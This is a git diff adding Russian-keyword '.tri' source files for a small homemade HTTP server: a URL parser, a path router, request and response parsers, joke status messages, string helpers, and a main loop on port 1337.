// парсим хост и порт
|
||||
пусть хост := авторитет
|
||||
пусть порт: Цел64 := 0
|
||||
пусть № двоеточия = строка.индекс(авторитет, 0, ":")
|
||||
если № двоеточия >= 0 {
|
||||
пусть ав8 = авторитет(:Строка8)
|
||||
хост := строка.извлечь(авторитет, 0, № двоеточия)
|
||||
пусть порт строка := строка.извлечь(авторитет, № двоеточия + 1, длина(ав8) - (№ двоеточия + 1))
|
||||
порт строка := строка.обрезать пробельные символы(порт строка)
|
||||
|
||||
пусть порт значение := 0
|
||||
пусть № байта := 0
|
||||
если ~ строка.извлечь цел(порт строка, № байта, порт значение) {
|
||||
оплошность := "некорректный порт в урл"
|
||||
вернуть Урл{}
|
||||
}
|
||||
если порт значение <= 0 | порт значение > 65535 {
|
||||
оплошность := "порт вне диапазона в урл"
|
||||
вернуть Урл{}
|
||||
}
|
||||
порт := порт значение
|
||||
} иначе {
|
||||
если схема = "https" {
|
||||
порт := 443
|
||||
} иначе {
|
||||
порт := 80
|
||||
}
|
||||
}
|
||||
|
||||
хост := строка.обрезать пробельные символы(хост)
|
||||
если хост = "" {
|
||||
оплошность := "пустой хост в урл"
|
||||
вернуть Урл{}
|
||||
}
|
||||
|
||||
если путь = "" { путь := "/" }
|
||||
|
||||
вернуть Урл{ хост: хост, порт: порт, путь: путь }
|
||||
}
|
||||
120
исх/сеть/хттп/маршрутизатор/маршутизатор.tri
Normal file
120
исх/сеть/хттп/маршрутизатор/маршутизатор.tri
Normal file
@@ -0,0 +1,120 @@
|
||||
модуль маршрутизатор
|
||||
|
||||
импорт "стд::контейнеры/словарь/стр-стр"
|
||||
импорт "исх/строка"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/массивы"
|
||||
|
||||
тип Обращение* = класс (хттп.ХттпОбращение) {
|
||||
запрос-в-пути*: стр-стр.Словарь := стр-стр.Словарь{}
|
||||
}
|
||||
|
||||
тип ОбработчикМаршрута = фн (путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет
|
||||
|
||||
тип Маршрут = класс {
|
||||
путь: Строка := "/"
|
||||
обработчик: ОбработчикМаршрута := позже
|
||||
методы: массивы.Строки := массивы.Строки[]
|
||||
}
|
||||
|
||||
фн (м: Маршрут) подходит по пути(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог {
|
||||
пусть части пути по запросу = строка.разобрать(обращение.путь, "?")
|
||||
пусть части пути обращения = строка.разобрать(части пути по запросу[0], "/")
|
||||
пусть части пути маршрута = строка.разобрать(м.путь, "/")
|
||||
|
||||
цикл [номер]часть пути маршрута среди части пути маршрута {
|
||||
если часть пути маршрута = "*" {
|
||||
пусть ай := номер
|
||||
|
||||
пока ай < длина(части пути обращения) {
|
||||
параметры.добавить(части пути обращения[ай])
|
||||
ай++
|
||||
}
|
||||
|
||||
вернуть истина
|
||||
}
|
||||
|
||||
если номер >= длина(части пути обращения) {
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
пусть часть пути обращения = части пути обращения[номер]
|
||||
|
||||
если часть пути маршрута = "$" {
|
||||
параметры.добавить(часть пути обращения)
|
||||
} иначе если часть пути маршрута # часть пути обращения {
|
||||
вернуть ложь
|
||||
}
|
||||
}
|
||||
|
||||
вернуть длина(части пути маршрута) = длина(части пути обращения)
|
||||
}
|
||||
|
||||
фн (м: Маршрут) подходит по методу(обращение: хттп.ХттпОбращение): Лог {
|
||||
цикл [номер]метод среди м.методы {
|
||||
если метод = обращение.метод {
|
||||
вернуть истина
|
||||
}
|
||||
}
|
||||
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
фн (м: Маршрут) подходит для*(обращение: хттп.ХттпОбращение, параметры := массивы.Строки): Лог {
|
||||
вернуть м.подходит по пути(обращение, параметры) & м.подходит по методу(обращение)
|
||||
}
|
||||
|
||||
тип Маршруты = []Маршрут
|
||||
|
||||
тип Маршрутизатор* = класс {
|
||||
маршруты: Маршруты := Маршруты[]
|
||||
обработчик_404: ОбработчикМаршрута := обработчик_404
|
||||
}
|
||||
|
||||
фн (м: Маршрутизатор) добавить маршрут*(путь: Строка, методы: массивы.Строки, обработчик: ОбработчикМаршрута) {
|
||||
м.маршруты.добавить(Маршрут{путь: путь, обработчик: обработчик, методы: методы})
|
||||
}
|
||||
|
||||
фн (м: Маршрутизатор) обработать обращение*(обращение: хттп.ХттпОбращение): хттп.ХттпОтвет {
|
||||
пусть обращение маршрутизатора = Обращение{
|
||||
метод: обращение.метод,
|
||||
путь: обращение.путь,
|
||||
версия: обращение.версия,
|
||||
заглавия: обращение.заглавия,
|
||||
туловище: обращение.туловище,
|
||||
запрос-в-пути: разобрать-запрос-в-пути(обращение.путь)
|
||||
}
|
||||
|
||||
цикл [номер]маршрут среди м.маршруты {
|
||||
пусть параметры := массивы.Строки[]
|
||||
|
||||
если маршрут.подходит для(обращение, параметры) {
|
||||
вернуть маршрут.обработчик(обращение.путь, параметры, обращение маршрутизатора)
|
||||
}
|
||||
}
|
||||
|
||||
вернуть м.обработчик_404(обращение.путь, массивы.Строки[], обращение маршрутизатора)
|
||||
}
|
||||
|
||||
фн разобрать-запрос-в-пути(путь: Строка): стр-стр.Словарь {
|
||||
пусть части = строка.разобрать(путь, "?")
|
||||
|
||||
если длина(части) < 2 {
|
||||
вернуть стр-стр.Словарь{}
|
||||
}
|
||||
|
||||
пусть параметры = строка.разобрать(части[1], "&")
|
||||
пусть словарь = стр-стр.Словарь{}
|
||||
|
||||
цикл [номер]параметр среди параметры {
|
||||
пусть пара = строка.разобрать(параметр, "=")
|
||||
|
||||
если длина(пара) = 2 {
|
||||
словарь.добавить(пара[0], пара[1])
|
||||
} иначе если длина(пара) = 1 {
|
||||
словарь.добавить(пара[0], "")
|
||||
}
|
||||
}
|
||||
|
||||
вернуть словарь
|
||||
}
|
||||
8
исх/сеть/хттп/маршрутизатор/обработчики.tri
Normal file
8
исх/сеть/хттп/маршрутизатор/обработчики.tri
Normal file
@@ -0,0 +1,8 @@
|
||||
модуль маршрутизатор
|
||||
|
||||
импорт "исх/массивы"
|
||||
импорт "исх/сеть/хттп"
|
||||
|
||||
фн обработчик_404*(путь: Строка, параметры: массивы.Строки, обращение: Обращение): хттп.ХттпОтвет {
|
||||
вернуть хттп.ответ_404()
|
||||
}
|
||||
118
исх/сеть/хттп/ответ.tri
Normal file
118
исх/сеть/хттп/ответ.tri
Normal file
@@ -0,0 +1,118 @@
|
||||
модуль хттп
|
||||
|
||||
фн ответ_201*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 201,
|
||||
состояние: "Created",
|
||||
туловище: "Тварь успешно создана.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_204*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 204,
|
||||
состояние: "No Content",
|
||||
туловище: "Пожалуйста, оставайтесь на месте. За вами уже выехали.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_400*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 400,
|
||||
состояние: "Bad Request",
|
||||
туловище: "Некорректный запрос. Пожалуйста, проверьте правильность запроса и повторите попытку.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_401*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 401,
|
||||
состояние: "Unauthorized",
|
||||
туловище: "Требуется аутентификация. Пожалуйста, предоставьте свои паспортные данные и повторите запрос.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_402*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 402,
|
||||
состояние: "Payment Required",
|
||||
туловище: "Доступ к запрашиваемому ресурсу требует оплаты. Пожалуйста, свяжитесь с администратором для получения дополнительной информации.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_403*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 403,
|
||||
состояние: "Forbidden",
|
||||
туловище: "Вы были репрессированы. Пожалуйста, перейдите по ссылке: http://сибирь.рф",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_422*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 422,
|
||||
состояние: "Unprocessable Entity",
|
||||
туловище: "Неперевариваемая тварь.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_404*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 404,
|
||||
состояние: "Not Found",
|
||||
туловище: "Запрашиваемый ресурс не найден на сервере.",
|
||||
}
|
||||
}
|
||||
|
||||
фн ответ_500*(): ХттпОтвет {
|
||||
вернуть ХттпОтвет{
|
||||
код: 500,
|
||||
состояние: "Internal Server Error",
|
||||
туловище: "Просим быть внимательными и бдительными. Оглядывайтесь вверх и по сторонам. Что-то произошло непонятное.",
|
||||
}
|
||||
}
|
||||
|
||||
фн создать ответ*(база: ХттпОтвет, расширение: ХттпОтвет): ХттпОтвет {
|
||||
пусть пустой ответ = ХттпОтвет{}
|
||||
пусть ответ = ХттпОтвет{}
|
||||
|
||||
если расширение.код # пустой ответ.код {
|
||||
ответ.код := расширение.код
|
||||
} иначе {
|
||||
ответ.код := база.код
|
||||
}
|
||||
|
||||
если расширение.состояние # пустой ответ.состояние {
|
||||
ответ.состояние := расширение.состояние
|
||||
} иначе {
|
||||
ответ.состояние := база.состояние
|
||||
}
|
||||
|
||||
цикл [номер]заглавие среди база.заглавия {
|
||||
ответ.заглавия.добавить(заглавие)
|
||||
}
|
||||
|
||||
цикл [номер]заглавие среди расширение.заглавия {
|
||||
пусть нашлось := ложь
|
||||
|
||||
цикл [уемер]существующее среди ответ.заглавия {
|
||||
если заглавие.имя = существующее.имя {
|
||||
существующее.значение := заглавие.значение
|
||||
нашлось := истина
|
||||
прервать
|
||||
}
|
||||
}
|
||||
|
||||
если ~нашлось {
|
||||
ответ.заглавия.добавить(заглавие)
|
||||
}
|
||||
}
|
||||
|
||||
если расширение.туловище # "" {
|
||||
ответ.туловище := расширение.туловище
|
||||
} иначе {
|
||||
ответ.туловище := база.туловище
|
||||
}
|
||||
|
||||
вернуть ответ
|
||||
}
|
||||
235
исх/сеть/хттп/парсер.tri
Normal file
235
исх/сеть/хттп/парсер.tri
Normal file
@@ -0,0 +1,235 @@
|
||||
модуль хттп
|
||||
|
||||
импорт "исх/строка"
|
||||
импорт "исх/вперед-назад"
|
||||
импорт "исх/сеть/тцп"
|
||||
|
||||
фн сериализовать хттп ответ*(р: ХттпОтвет): Строка {
|
||||
пусть ответ := строка.собрать(строка.ф("$стр $цел $стр\r\n", р.версия, р.код, р.состояние))
|
||||
|
||||
пусть есть размер контента := ложь
|
||||
|
||||
цикл [номер]заглавие среди р.заглавия {
|
||||
если заглавие.имя = "Content-Length" { есть размер контента := истина }
|
||||
ответ := строка.собрать(ответ, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение))
|
||||
}
|
||||
|
||||
если ~ есть размер контента {
|
||||
ответ := строка.собрать(ответ, строка.ф("Content-Length: $цел\r\n", длина(р.туловище(:Строка8))))
|
||||
}
|
||||
|
||||
ответ := строка.собрать(ответ, "\r\n")
|
||||
|
||||
если длина(р.туловище) > 0 {
|
||||
ответ := строка.собрать(ответ, р.туловище)
|
||||
}
|
||||
|
||||
вернуть ответ
|
||||
}
|
||||
|
||||
фн отправить хттп ответ*(с: тцп.ТцпСоединение, р: ХттпОтвет) {
|
||||
пусть данные := сериализовать хттп ответ(р)
|
||||
с.записать(данные)
|
||||
}
|
||||
|
||||
фн разобрать хттп обращение*(с: вперед-назад.Крипипаста): ХттпОбращение {
|
||||
пусть сколько читаем = 1024
|
||||
пусть прочитано := 0
|
||||
пусть обращение = ХттпОбращение{}
|
||||
пусть данные := ""
|
||||
пусть первая линия := ""
|
||||
пусть добрались до тела := ложь
|
||||
пусть размер контента: Цел64 := -1
|
||||
|
||||
пока истина {
|
||||
пусть сколько прочитать: Цел64 := -1
|
||||
если размер контента > 0 & добрались до тела {
|
||||
сколько прочитать := размер контента - прочитано
|
||||
}
|
||||
|
||||
если сколько прочитать = 0 {
|
||||
вернуть обращение
|
||||
}
|
||||
|
||||
пусть новые данные = с.прочитать(сколько читаем)
|
||||
прочитано := прочитано + длина(новые данные)
|
||||
если длина(новые данные) = 0 {
|
||||
вернуть обращение
|
||||
}
|
||||
|
||||
данные := строка.собрать(данные, новые данные)
|
||||
|
||||
если ~ добрались до тела {
|
||||
пока длина(данные) > 0 {
|
||||
пусть конец строки = строка.индекс(данные, 0, "\n")
|
||||
|
||||
если конец строки = -1 {
|
||||
прервать
|
||||
}
|
||||
|
||||
пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки))
|
||||
данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки)
|
||||
|
||||
если линия = "" {
|
||||
если размер контента > 0 {
|
||||
пусть индекс переноса = строка.индекс(данные, 0, "\n")
|
||||
|
||||
добрались до тела := истина
|
||||
данные := строка.извлечь(данные, индекс переноса + 1, длина(данные(:Строка8)) - индекс переноса)
|
||||
прочитано := длина(данные(:Строка8))
|
||||
обращение.туловище := данные
|
||||
данные := ""
|
||||
|
||||
прервать
|
||||
} иначе {
|
||||
вернуть обращение
|
||||
}
|
||||
}
|
||||
|
||||
если первая линия = "" {
|
||||
первая линия := линия
|
||||
|
||||
пусть части = строка.разобрать(первая линия, " ")
|
||||
|
||||
если длина(части) >= 1 { обращение.метод := части[0] }
|
||||
если длина(части) >= 2 {
|
||||
цикл [номер]часть среди части {
|
||||
если номер > 0 & номер < длина(части) - 1 {
|
||||
если номер > 1 {
|
||||
обращение.путь := строка.собрать(обращение.путь, " ")
|
||||
}
|
||||
|
||||
обращение.путь := строка.собрать(обращение.путь, часть)
|
||||
}
|
||||
}
|
||||
}
|
||||
если длина(части) >= 3 { обращение.версия := части[длина(части) - 1] }
|
||||
} иначе {
|
||||
пусть заглавие = ХттпЗаглавие{}
|
||||
|
||||
строка.разделить(линия, ":", заглавие.имя, заглавие.значение)
|
||||
|
||||
заглавие.имя := строка.обрезать пробельные символы(заглавие.имя)
|
||||
заглавие.значение := строка.обрезать пробельные символы(заглавие.значение)
|
||||
|
||||
если размер контента < 0 & заглавие.имя = "Content-Length" {
|
||||
пусть новый размер контента := 0
|
||||
пусть номер байта := 0
|
||||
|
||||
если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) {
|
||||
размер контента := новый размер контента
|
||||
}
|
||||
}
|
||||
|
||||
обращение.заглавия.добавить(заглавие)
|
||||
}
|
||||
}
|
||||
} иначе {
|
||||
обращение.туловище := строка.соединить(обращение.туловище, данные)
|
||||
}
|
||||
}
|
||||
|
||||
вернуть обращение
|
||||
}
|
||||
|
||||
фн разобрать хттп ответ*(с: тцп.ТцпСоединение): ХттпОтвет {
|
||||
пусть сколько читаем = 1024
|
||||
пусть прочитано := 0
|
||||
пусть ответ = ХттпОтвет{}
|
||||
пусть данные := ""
|
||||
пусть первая линия := ""
|
||||
пусть добрались до тела := ложь
|
||||
пусть размер контента: Цел64 := -1
|
||||
|
||||
пока истина {
|
||||
пусть сколько прочитать: Цел64 := -1
|
||||
если размер контента > 0 & добрались до тела {
|
||||
сколько прочитать := размер контента - прочитано
|
||||
}
|
||||
|
||||
если сколько прочитать = 0 {
|
||||
вернуть ответ
|
||||
}
|
||||
|
||||
пусть новые данные = с.прочитать(сколько читаем)
|
||||
прочитано := прочитано + длина(новые данные)
|
||||
если длина(новые данные) = 0 {
|
||||
вернуть ответ
|
||||
}
|
||||
|
||||
данные := строка.собрать(данные, новые данные)
|
||||
|
||||
если ~ добрались до тела {
|
||||
пока длина(данные) > 0 {
|
||||
пусть конец строки = строка.индекс(данные, 0, "\n")
|
||||
|
||||
если конец строки = -1 {
|
||||
прервать
|
||||
}
|
||||
|
||||
пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки))
|
||||
данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки)
|
||||
|
||||
если линия = "" {
|
||||
если размер контента > 0 {
|
||||
добрались до тела := истина
|
||||
прочитано := длина(данные(:Строка8))
|
||||
ответ.туловище := данные
|
||||
данные := ""
|
||||
|
||||
прервать
|
||||
} иначе {
|
||||
вернуть ответ
|
||||
}
|
||||
}
|
||||
|
||||
если первая линия = "" {
|
||||
первая линия := линия
|
||||
|
||||
пусть части = строка.разобрать(первая линия, " ")
|
||||
|
||||
если длина(части) >= 1 { ответ.версия := части[0] }
|
||||
если длина(части) >= 2 {
|
||||
пусть новый код := 0
|
||||
пусть номер байта := 0
|
||||
если строка.извлечь цел(части[1], номер байта, новый код) {
|
||||
ответ.код := новый код
|
||||
}
|
||||
}
|
||||
если длина(части) >= 3 {
|
||||
цикл [номер]часть среди части {
|
||||
если номер >= 2 {
|
||||
если номер > 2 {
|
||||
ответ.состояние := строка.собрать(ответ.состояние, " ")
|
||||
}
|
||||
ответ.состояние := строка.собрать(ответ.состояние, часть)
|
||||
}
|
||||
}
|
||||
}
|
||||
} иначе {
|
||||
пусть заглавие = ХттпЗаглавие{}
|
||||
|
||||
строка.разделить(линия, ":", заглавие.имя, заглавие.значение)
|
||||
|
||||
заглавие.имя := строка.обрезать пробельные символы(заглавие.имя)
|
||||
заглавие.значение := строка.обрезать пробельные символы(заглавие.значение)
|
||||
|
||||
если размер контента < 0 & заглавие.имя = "Content-Length" {
|
||||
пусть новый размер контента := 0
|
||||
пусть номер байта := 0
|
||||
|
||||
если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) {
|
||||
размер контента := новый размер контента
|
||||
}
|
||||
}
|
||||
|
||||
ответ.заглавия.добавить(заглавие)
|
||||
}
|
||||
}
|
||||
} иначе {
|
||||
ответ.туловище := строка.соединить(ответ.туловище, данные)
|
||||
}
|
||||
}
|
||||
|
||||
вернуть ответ
|
||||
}
|
||||
24
исх/сеть/хттп/типы.tri
Normal file
24
исх/сеть/хттп/типы.tri
Normal file
@@ -0,0 +1,24 @@
|
||||
модуль хттп
|
||||
|
||||
тип ХттпЗаглавие* = класс {
|
||||
имя*: Строка := ""
|
||||
значение*: Строка := ""
|
||||
}
|
||||
|
||||
тип ХттпЗаглавия* = []ХттпЗаглавие
|
||||
|
||||
тип ХттпОбращение* = класс {
|
||||
метод*: Строка := ""
|
||||
путь*: Строка := ""
|
||||
версия*: Строка := ""
|
||||
заглавия*: ХттпЗаглавия := ХттпЗаглавия[]
|
||||
туловище*: Строка := ""
|
||||
}
|
||||
|
||||
тип ХттпОтвет* = класс {
|
||||
версия*: Строка := "HTTP/1.1"
|
||||
код*: Цел64 := 200
|
||||
состояние*: Строка := "OK"
|
||||
заглавия*: ХттпЗаглавия := ХттпЗаглавия[]
|
||||
туловище*: Строка := ""
|
||||
}
|
||||
9
исх/спринтф/спринтф.tri
Normal file
9
исх/спринтф/спринтф.tri
Normal file
@@ -0,0 +1,9 @@
|
||||
модуль спринтф
|
||||
|
||||
импорт "стд::строки"
|
||||
|
||||
фн ф*(формат: Строка, список: ...*): Строка {
|
||||
пусть сб = строки.Сборщик{}
|
||||
сб.ф(формат, список...)
|
||||
вернуть сб.строка()
|
||||
}
|
||||
78
исх/сраб.tri
Normal file
78
исх/сраб.tri
Normal file
@@ -0,0 +1,78 @@
|
||||
модуль сраб
|
||||
|
||||
импорт "стд::вывод"
|
||||
импорт "стд::комстрока"
|
||||
импорт "исх/спринтф"
|
||||
импорт "исх/струя"
|
||||
импорт "исх/сеть/тцп"
|
||||
импорт "исх/сеть/хттп"
|
||||
импорт "исх/маршруты"
|
||||
импорт "исх/сборщик-мусора"
|
||||
импорт "исх/миграции"
|
||||
импорт "исх/картотека"
|
||||
импорт "исх/вперед-назад"
|
||||
импорт "исх/стд-вперед-назад"
|
||||
импорт "исх/отдых"
|
||||
|
||||
пусть маршрутизатор = маршруты.получить маршрутизатор()
|
||||
|
||||
фн обработать тцп подключение(соединение полиморф: *) {
|
||||
пусть соединение = соединение полиморф(:тцп.ТцпСоединение)
|
||||
пусть обращение = хттп.разобрать хттп обращение(соединение)
|
||||
пусть ответ = маршрутизатор.обработать обращение(обращение)
|
||||
|
||||
// вывод.ф("$стр $стр -> $цел\n", обращение.метод, обращение.путь, ответ.код)
|
||||
|
||||
хттп.отправить хттп ответ(соединение, ответ)
|
||||
соединение.закрыть()
|
||||
}
|
||||
|
||||
фн обработать стдвнутрь подключение() {
|
||||
пусть обращение = хттп.разобрать хттп обращение(стд-вперед-назад.СтдВнутрь{})
|
||||
|
||||
// вывод.ф("$стр $стр\n", обращение.метод, обращение.путь)
|
||||
|
||||
пусть ответ = маршрутизатор.обработать обращение(обращение)
|
||||
пусть данные = хттп.сериализовать хттп ответ(ответ)
|
||||
|
||||
стд-вперед-назад.ошибка(данные)
|
||||
}
|
||||
|
||||
вход {
|
||||
комстрока.логическая настройка("подшефный", ложь, "")
|
||||
комстрока.логическая настройка("роанапур", ложь, "")
|
||||
комстрока.разобрать()
|
||||
|
||||
пусть подшефный = комстрока.логическое значение("подшефный")
|
||||
пусть роанапур = комстрока.логическое значение("роанапур")
|
||||
|
||||
если подшефный {
|
||||
обработать стдвнутрь подключение()
|
||||
} иначе если роанапур {
|
||||
миграции.мигрировать(картотека.зайти())
|
||||
} иначе {
|
||||
миграции.мигрировать(картотека.зайти())
|
||||
|
||||
пусть номер причала = 1337
|
||||
|
||||
вывод.ф("Готовим сервер у причала $цел\n", номер причала)
|
||||
|
||||
пусть сервер = тцп.создать сервер(номер причала)
|
||||
пусть обработано запросов := 0
|
||||
|
||||
пока истина {
|
||||
пусть подключение = сервер.принять чертово соединение()
|
||||
пусть новая струя = струя.новая струя(обработать тцп подключение, подключение)
|
||||
струя.отсоединить струю(новая струя)
|
||||
|
||||
обработано запросов++
|
||||
|
||||
если обработано запросов > 100000 {
|
||||
вывод.ф("Вы используете пробную версию программы. Пожалуйста, приобретите полную версию для продолжения использования.\n")
|
||||
прервать
|
||||
}
|
||||
}
|
||||
|
||||
вывод.ф("Котенок умер\n")
|
||||
}
|
||||
}
|
||||
23
исх/стд-вперед-назад/ввод.tri
Normal file
23
исх/стд-вперед-назад/ввод.tri
Normal file
@@ -0,0 +1,23 @@
|
||||
модуль стд-вперед-назад
|
||||
|
||||
// c:include "stdin.h"
|
||||
|
||||
фн stdin_read_to_string(bytes: Цел64): Строка @внеш
|
||||
фн stderr_write_string(data: Строка) @внеш
|
||||
|
||||
тип СтдВнутрь* = класс {
|
||||
|
||||
}
|
||||
|
||||
фн (внутрь: СтдВнутрь) прочитать*(сколько: Цел64): Строка {
|
||||
вернуть прочитать(сколько)
|
||||
}
|
||||
|
||||
фн прочитать*(сколько: Цел64): Строка {
|
||||
вернуть stdin_read_to_string(сколько)
|
||||
}
|
||||
|
||||
фн ошибка*(данные: Строка) {
|
||||
stderr_write_string(данные)
|
||||
}
|
||||
|
||||
184
исх/строка/строка.tri
Normal file
184
исх/строка/строка.tri
Normal file
@@ -0,0 +1,184 @@
|
||||
модуль строка
|
||||
|
||||
импорт "стд::строки"
|
||||
импорт "стд::юникод"
|
||||
импорт "исх/массивы"
|
||||
|
||||
тип Байты = []Байт
|
||||
|
||||
фн tri_substring(с: Строка8, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш
|
||||
фн tri_substring_from_bytes(байты: Байты, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш
|
||||
|
||||
фн заменить*(с: Строка, подстрока: Строка, замена: Строка): Строка {
|
||||
надо длина(подстрока) > 0 иначе вернуть с
|
||||
|
||||
пусть с8 = с(:Строка8)
|
||||
пусть п8 = подстрока(:Строка8)
|
||||
|
||||
пусть № := индекс(с, 0, подстрока)
|
||||
надо № >= 0 иначе вернуть с
|
||||
|
||||
пусть сб = строки.Сборщик{}
|
||||
пусть №-старт := 0
|
||||
пока истина {
|
||||
сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, № - №-старт))
|
||||
сб.добавить строку(замена)
|
||||
|
||||
№-старт := № + длина(п8)
|
||||
№ := индекс(с, №-старт, подстрока)
|
||||
надо № >= 0 иначе прервать
|
||||
надо №-старт < длина(замена) иначе прервать
|
||||
}
|
||||
сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, длина(с8) - №-старт))
|
||||
|
||||
вернуть сб.строка()
|
||||
}
|
||||
|
||||
фн разобрать*(с: Строка, разделитель: Строка): массивы.Строки {
|
||||
пусть р8 = разделитель(:Строка8)
|
||||
|
||||
выбор длина(р8) {
|
||||
когда 0: вернуть массивы.Строки[с]
|
||||
когда 1:
|
||||
вернуть разобрать1(с, р8[0])
|
||||
другое
|
||||
авария("не реализовано - длина разделителя > 1")
|
||||
}
|
||||
вернуть массивы.Строки[]
|
||||
}
|
||||
|
||||
фн соединить*(разделитель: Строка, строчки: ...Строка): Строка {
|
||||
вернуть строки.соединить(разделитель, строчки...)
|
||||
}
|
||||
|
||||
фн ф*(формат: Строка, аргументы: ...*): Строка {
|
||||
пусть сб = строки.Сборщик{}
|
||||
сб.ф(формат, аргументы...)
|
||||
вернуть сб.строка()
|
||||
}
|
||||
|
||||
фн разобрать1(с: Строка, разделитель: Байт): массивы.Строки {
|
||||
пусть рез = массивы.Строки[]
|
||||
пусть с8 = с(:Строка8)
|
||||
пусть № := 0
|
||||
пусть №-разд := -1
|
||||
пока № < длина(с8) {
|
||||
если с8[№] = разделитель {
|
||||
если №-разд + 1 = № {
|
||||
рез.добавить("")
|
||||
} иначе {
|
||||
рез.добавить(tri_substring(с8, №-разд+1, № - №-разд - 1))
|
||||
}
|
||||
№-разд := №
|
||||
}
|
||||
№++
|
||||
}
|
||||
рез.добавить(tri_substring(с8, №-разд+1, длина(с8) - №-разд - 1))
|
||||
|
||||
вернуть рез
|
||||
}
|
||||
|
||||
фн собрать*(список строк: ...Строка): Строка {
|
||||
надо длина(список строк) > 0 иначе вернуть ""
|
||||
|
||||
пусть размер := 0
|
||||
пусть № := 0
|
||||
пока № < длина(список строк) {
|
||||
размер := размер + длина(список строк[№](:Строка8))
|
||||
№++
|
||||
}
|
||||
|
||||
пусть сб = строки.Сборщик{}
|
||||
№ := 0
|
||||
пока № < длина(список строк) {
|
||||
сб.добавить строку(список строк[№])
|
||||
№++
|
||||
}
|
||||
|
||||
вернуть сб.строка()
|
||||
}
|
||||
|
||||
фн индекс*(с: Строка, №-старт: Цел64, подстрока: Строка): Цел64 {
|
||||
вернуть строки.индекс(с, №-старт, подстрока)
|
||||
}
|
||||
|
||||
фн извлечь*(с: Строка, №-байта: Цел64, число-байтов: Цел64): Строка {
|
||||
вернуть строки.извлечь(с, №-байта, число-байтов)
|
||||
}
|
||||
|
||||
фн обрезать пробельные символы*(с: Строка): Строка {
|
||||
|
||||
пусть с8 = с(:Строка8)
|
||||
пусть №1 := 0
|
||||
пока №1 < длина(с8) {
|
||||
надо с8[№1] < 0x80(:Байт) иначе прервать
|
||||
надо юникод.пробельный символ?(с8[№1](:Символ)) иначе прервать
|
||||
№1++
|
||||
}
|
||||
|
||||
пусть №2 := длина(с8)
|
||||
пока №2 > №1 {
|
||||
пусть байт = с8[№2-1]
|
||||
надо байт < 0x80(:Байт) иначе прервать
|
||||
надо юникод.пробельный символ?(байт(:Символ)) иначе прервать
|
||||
№2--
|
||||
}
|
||||
|
||||
вернуть tri_substring(с8, №1, №2 - №1)
|
||||
}
|
||||
|
||||
фн разделить*(с: Строка, разделитель: Строка, первая := Строка, вторая := Строка): Лог {
|
||||
|
||||
пусть и = индекс(с, 0, разделитель)
|
||||
надо и >= 0 иначе {
|
||||
первая := с
|
||||
вторая := ""
|
||||
вернуть ложь
|
||||
}
|
||||
|
||||
пусть с8 = с(:Строка8)
|
||||
пусть р8 = разделитель(:Строка8)
|
||||
|
||||
первая := tri_substring(с8, 0, и)
|
||||
вторая := tri_substring(с8, и + длина(р8), длина(с8) - (и +длина(р8)))
|
||||
|
||||
вернуть истина
|
||||
}
|
||||
|
||||
фн извлечь цел*(с: Строка, №-байта := Цел64, рез := Цел64): Лог {
|
||||
рез := 0
|
||||
|
||||
пусть с8 = с(:Строка8)
|
||||
надо №-байта < длина(с8) иначе вернуть ложь
|
||||
|
||||
пусть нег = с8[№-байта] = '-'(:Байт)
|
||||
если нег | с8[№-байта] = '+'(:Байт) {
|
||||
№-байта++
|
||||
надо №-байта < длина(с8) иначе вернуть ложь
|
||||
}
|
||||
|
||||
пусть сим := с8[№-байта](:Символ)
|
||||
надо сим >= '0' & сим <= '9' иначе вернуть ложь
|
||||
|
||||
пусть число := 0
|
||||
пока истина {
|
||||
пусть цифра = сим(:Цел64) - '0'(:Цел64)
|
||||
|
||||
// проверка выхода за границу
|
||||
надо число <= (0x7FFFFFFFFFFFFFFF(:Цел64) - цифра) / 10 иначе вернуть ложь
|
||||
|
||||
число := число*10 + цифра
|
||||
№-байта++
|
||||
если №-байта >= длина(с8) {
|
||||
если нег {
|
||||
число := - число
|
||||
}
|
||||
рез := число
|
||||
вернуть истина
|
||||
}
|
||||
сим := с8[№-байта](:Символ)
|
||||
|
||||
надо сим >= '0' & сим <= '9' иначе прервать
|
||||
}
|
||||
вернуть ложь
|
||||
}
|
||||
3
исх/струя/струя-внутр/внутр.tri
Normal file
3
исх/струя/струя-внутр/внутр.tri
Normal file
@@ -0,0 +1,3 @@
|
||||
модуль струя-внутр
|
||||
|
||||
тип Струя* = фн (аргумент: *)
|
||||
21
исх/струя/струя.tri
Normal file
21
исх/струя/струя.tri
Normal file
@@ -0,0 +1,21 @@
|
||||
модуль струя
|
||||
|
||||
импорт "исх/струя/струя-внутр"
|
||||
|
||||
// c:include "pstruya.h"
|
||||
|
||||
фн tri_thread_create(струя: струя-внутр.Струя, аргумент: *): Цел64 @внеш
|
||||
